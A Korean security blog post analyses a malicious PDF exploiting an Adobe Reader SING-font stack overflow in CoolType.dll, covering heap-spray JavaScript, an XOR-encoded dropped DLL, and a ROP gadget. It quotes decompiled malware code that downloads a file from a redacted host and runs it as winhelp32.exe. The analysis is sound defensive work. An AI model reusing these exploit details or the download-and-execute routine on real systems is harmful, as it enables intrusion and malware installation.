티스토리 뷰


 
 

요즈음 제로데이 소식이 빈번하군요.... ^^;;; 

일도 많고.... 덕분에 블로깅도 빈번합니다........

부지런히.. 올리자.. 영차..영차... .....

 




 

지난번 iPhone  Jailbreakme 관련 취약점도 PDF 파싱 엔진의  Font 관련 문제였었는데..... 

이번에도 Font 가 문제군요.....

아무래도 이번엔 요 방향으로 유사한 취약점들이 발표될 수도 있겠군요...

 

 

오늘 아침 0xcharlie 님의 트윗에 다음과 같이 써 있어서..

 

Charlie Miller @0xcharlie

When discussing multiple researchers finding same bug via funzzing,

makes you wonder why the vendor didn't find those.

 

냉큼 안 되는 영어로다가 "I agreeeeeeeeeeeeeeeeeeeeeeeeeeeeee" 라고 날렸죠... ^^;;;

이제 수다는 그만~~~ 본격적으로 분석한번 해 보아요~~~

 


 


트위터에서  새로운 Adobe Zeroday 가 떴다는 소식이 여기저기 뜨기 시작하네요..

최근에는 역시 트위터가 가장 빠른 정보통이 되는 것 같습니다......

일단 샘플 수집부터~~~

 

일단은 트위터 소식을 통해 

 해당 취약점이 SING 폰트관련 취약점이라고 거....... 

스택오버플로우라는 힌트가  생겼습니다....

 

이제 손 안에 놓인 PDF ... 마구마구 째려봐라...

혹시 머가 튀어나오지 않을까요???? ㅋㅋㅋ

매의 눈으로 관찰하는 것은 분석의 첫걸음입니다......



일단 파일의 내부도 살펴보아요..... 

     폰트 관련이라고 했으니.... Font Object를...

    악성 자바스크립트가 존재하는 지... JS Javascript Object 를...

     악성 PDF 파일은 파일을 드랍잘 하니.... 내부의 PE 파일을 찾아보자구요...

    


 
 
 
 앗....

일단은 "26번째 오브젝트에 자바스크립트가 압축도 되지 않고 쌩~~~으로 들어있습니다... " ㅋㅋㅋ

그럼 쉘코드 먼저 분석해볼까요????

 

    쉘코드(Heap-Spray 자바스크립트)

 


 

Heap-Srpay 코드로 app.platform 을 통해 플랫폼 확인하고, app.viewerVersion 을 통해 PDF  버전도 확인해서 각각 다른 쉘코드를 사용하고 있군요...

실제로 쉘코드로 메모리를 채우는 코드 외에는 없는 것으로 보아 Font 관련 다른 곳에서 취약점을 발생시키고, 요기 Heap-Spray이 코드로 메모리를 채운 후 쉘코드를 수행하도록 제작되어 있는 것으로 판단해 볼 수 있겠군요.

이제 여기서 할일은 삽입되 쉘코드를 떼어내서 무신 짓을 하는 녀석인지 확인하는 것.....

 

    " 쉘코드 부분만 떼어내서 바로 Disasm 어플로 어셈코드를 분석하는 방법... 이건 좀~~~ ==+

    " 쉘코드 부분을 떼어내서 exe로 변환한 후 동적 실행이나 IDA를 통해서 static 분석을 수행하는 방법...

      이게 좋겠군요.. ㅋㅋㅋㅋ

 

쉘코드 안에는 다음과 같이 데이터를 읽어들여 7ED780AF 값과 XOR 하는 부분이 보이는군요.

  

.text:004011D9                 xor     dword ptr [ebp+2D7h], 7ED780AFh
.text:004011E3                 xor     eax, eax
.text:004011E5                 push    eax
.text:004011E6                 lea     ecx, [ebp+2DFh]
.text:004011EC                 mov     ebx, [ecx]
 

그렇다면.. 도대체 무신 데이터랑 XOR를 하는 걸까요..... ?????  ^^;;;;

  

 

 드랍되는 악성 PE(실행파일)

 

앞서 말한대로, 대부분의 악성PDF 파일은 그 자체에 드랍할 파일을 내포하고 있는 경우가 많습니다..

이번 파일에도 자세히 훓어보면, %EOF% 뒤에 다음과 같이  ...

지나치게 길~~~~고 ....

무신 글자인지 통~~~~~ 알수 없는 이상한 코드....

가 존재하는 것을 눈치챘을 겁니다.....  

 



 

바로 앞선 쉘코드에서 %SIGNATURE: 문자뒤에 존재하는 데이터를 XOR 처리하여 실행파일로 드랍하는 것이지요...

그럼, 실제로 요 부분을 떼어내서 위의 쉘코드처럼  32bit XOR 7ED780AFh  해보지요... (Little Edian)

와~ 진짜 우리가 그리던 "MZ...." 헤더가 나오네요.. ^^;;;


 

그럼 다음으로 또 드랍된 파일을 분석해봐야겠죠???

이때도, 실제 드랍되는 PE의 경우 한번 더 Pack하는 경우는 드물기 때문에

우선적으로 Static 한 분석만으로  어느정도의 파악은 가능합니다......

물론,,,,,, 강하~~~게 동적으로 돌려보면 와따~ 와따~~ ^^

 

앞선 쉘코드 내부에는 또 다음과 같이 드랍하여 로딩한 파일의 17a0h 옵셋의 위치를 CALL 하는 부분이 존재하는군요.......

 

.text:004012C7                 add     eax, 17A0h
.text:004012CC                 call    eax

 

실제로 드랍된 DLL 파일의 17A0 옵셋에는  StartUp() 이라는 function이 존재하고 

요 함수는 hxxp://__[생략]____/wincrng.exe 악성도메인으로부터 파일을 받아서 winhelp32.exe 로 저장 실행하도록 되어 있군요.......

 

.text:100017A0                 public StartUp
.text:100017A0 StartUp         proc near               ; DATA XREF: .rdata:off_10002988 o
.text:100017A0                 sub     esp, 10Ch
.text:100017A6                 call    sub_10001A0D
.text:100017AB                 push    eax

 

SHGetSpecialFolderPathA(0, &PathName, 26, 0);
  SetCurrentDirectoryA(&PathName);
  if ( (unsigned __int8)DownloadFile("winhelp32.exe", (int)"hxxp://__[생략]____/wincrng.exe") )
    WinExec("winhelp32.exe", 5u);


그럼... 또 분석해야할 파일 winhelp32.exe 이 남았네요.... T.T  아~~~ 많다.. 많다... T.T

추가적인 분석은 여러분께~~~ ^^;;;;;

아마 다운로드된 파일이 PDF 파일을 실핼시켰을 때 시스템에서 발생하는 본격적인 악성행위를 하게 되겠군요..

 

아 그럼 여기까지 취약점의 주변내용을 살펴보았다면... 이제 취약점의 원인이 되는 부분을 찾아보아요...

 

  

     취약한 TrueType Font 파일 분석

 

우린 앞서서 해당 취약점의 원인이 SING(Smart INdependent Glyphlets) 이라는 것에서부터 시작되었다는 힌트를 가지고 있었습니다..

이제 아무래도 무한~~~ 검색을 시작해야할 것 같군요.....

최근에는 책으로부터 얻는 정보보다 검색을 통해 얻는 지식이 훨씬 많고...

검색 능력이 곧 분석 능력이 될 수도 있다는 생각이 듭니다....... ^^;;;

 




 

흠.... 생각보다 정보가 많지 않군요. 쉽지는 않겠어........  T.T ....  우울모드~~

 

일단 검색결과 SING는 TrueTypeFont 테이블의 하나라는 거을 알았고...

PDF 스펙문서를 참고해보니 TrueType 폰트는 Subtype = Truetype 라는 부분을 유심히 살펴야 겟습니다...

 

다음과 같이 폰트 관련 오브젝트를 확인했고, 실제 연결되어 있는 폰트파일의 오브젝트 번호 57번을 따라가보니

압축되어 있는 폰트파일의 스트림 정보가  발견됩니다.....

 

 

/Subtype /TrueType

/FontDescriptor ... 

 


 

사실 해당 악성 PDF 파일에는 압축된 폰트파일이 다수 포함되어 있어서 우선적으로 모든 steam 압축을 푼 후 데이터를 살펴보는 게 좋을 것 같습니다...

압축을 해제하고 나니 실제로 TTF(TrueTypeFont) 파일이네요....

 

그럼 또 우선적으로 TTF 파일 구조를 공부해야하겠군요..... ^^;;;  공부에..공부에.. 연속입니다......

대충 TTF 헤더가 존재하고 그 후에는 각 테이블들이 존재하고....

그중에 SING tag를 갖는 SING 테이블도 볼 수 있습니다..

 

| Tag : SING | Checksum | Offset | Length |  

 



 

실제 데이터는 옵셋값을 통해 00 00 01 00 01…… 부터 시작하는 것을 알 수 있고....

AAAAAAAAAAAAAAAAAAA 의 긴 문자열이 발견되는 것을 보니 이 데이터가 스택오버플로우를 일으키는 "Unique Name" 값인 것 같지요?????.. ^^;;;

많은 TTF 파싱툴이나 라이브러리에는 아직 SING 테이블을 파싱하지 못하는 것 같더군요....==

요 부분에 대한 구조는 metasploit 코드를 참고하시면 도움이 됩니다... ^^;;;;;;

 

 

PDF 파일과 같이 파일기반 취약점 분석에서 좋은 점은 파일을 내 입맛에 맞게 직접 수정하여 디버깅을 할 수 있다는 점이지요...

파일을 조금 수정하여 악성코드 실행없이 코드레벨로 따라가 봅니다....

 

 

   코드레벨로 따가가 보기....

 

요기 Cooltype.dll 파일의 strcat 부분에서 스택오버플로우가 발생하는 군요....


0012E9F4   0803DCA9  /CALL to strcat from CoolType.0803DCA4
0012E9F8   0012EA68  |dest = ""
0012E9FC   049376A4  \src = "A8AAAAAA...J0 ..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...

 

 

0012EA78   41414141
0012EA7C   41414141
0012EA80   41414141
0012EA84   41414141
0012EA88   41414141
0012EA8C   41414141
0012EA90   41414141
0012EA94   41414141
0012EA98   41414141
0012EA9C   41414141
0012EAA0   41414141
0012EAA4   41414141
0012EAA8   41414141
0012EAAC   41414141
0012EAB0   41414141
0012EAB4   41414141

 

그리고, 다음 코드에서  스택오버플로우 데이터값 중 4A80CB38([EAX]) 값을 호출하게 됩니다....

 

0808B1BB    51              PUSH    ECX
0808B1BC    53              PUSH    EBX
0808B1BD    6A 03           PUSH    3
0808B1BF    50              PUSH    EAX
0808B1C0    FF10            CALL    DWORD PTR [EAX]     = 0012EC60                                      ; icucnv36.4A80CB38

 

바로 4A80CB38 값은 icucnv36.4A80CB38 주소번지로 다음과 같은 코드를 수행하게됩니다....


4A80CB38    81C5 94070000   ADD     EBP, 794
4A80CB3E    C9              LEAVE
4A80CB3F    C3              RETN

 

바로 이번 공격에서는 ROP(Return Oriented Exploit) 방법을 사용하고 있다는 것이지요...

스택을 보호하는 다양한 방법을 우회하기 위함.....

똑똑한 사람들 같으니라구.....^^


ㅋㅋㅋ

주말인지라...

추가적인 설명은 추후 업데이트 하는 방향으로 하겠습니다..... 
 
 
 

 

-------------------------------------------

최근 들어서 분석은 결과를 보여주기 보다는 

과정.. 과정에서 문제를 해결해 나는 것을 보여주는 게 중요하다는 생각이 듭니다...

남의 시행착오와 문제풀이 과정을 보면서 나의 것으로 만들어 가는 거지요..

저도 그렇게 남의 지식을 내 지식으로~~ 만들려고 노력중입니다.....

저도 이 글을 읽는 분들에게 과정의 지식을 전달하는 전달자가 되기를 바래봅니다......

 카카카카

 -------------------------------------------


댓글
  • 프로필사진 BlogIcon 잡다한 처리 그림이 안나오네요 ㅎㅎ^^ 2011.01.12 21:55 신고
  • 프로필사진 BlogIcon redhidden 띠옹...띠옹.. T.T
    손 안 대고 이사하려다가 ... 에효...
    감사합니다... 또 버그 생기면 알려주세요~~
    2011.01.12 23:28 신고
  • 프로필사진 BlogIcon night-Ohl 안녕하세요~~ 정보 찾아보다 오게됐는데 자료들이 다 좋네요~! pdf 악성코드 분석 배우고 있는 학생입니다! exploit 과정을 이해해보고싶은 마음이 큰데 혹시 코드 레벨로 따라가보기 부분 접근 방법 좀 여쭤봐도 될까요 ㅜㅜ 너무 오랜 시간이 흘렀지만 댓글 남겨봅니다~! 2017.03.06 00:48 신고
  • 프로필사진 BlogIcon redhidden 죄송합니다. 제가 한동안 블로그를 떠나있어서 이제서야 남기신 글을 확인했네요. 너무 늦어버렸지만, 혹시 질문 글 중 코드레벨의 "접근방법"이라 하신 부분에 대한 좀더 상세한 설명이 있으면 혹시 도움을 찾아볼 수 있지 않을까요? ㅋㅋㅋ 2018.05.02 10:11 신고
댓글쓰기 폼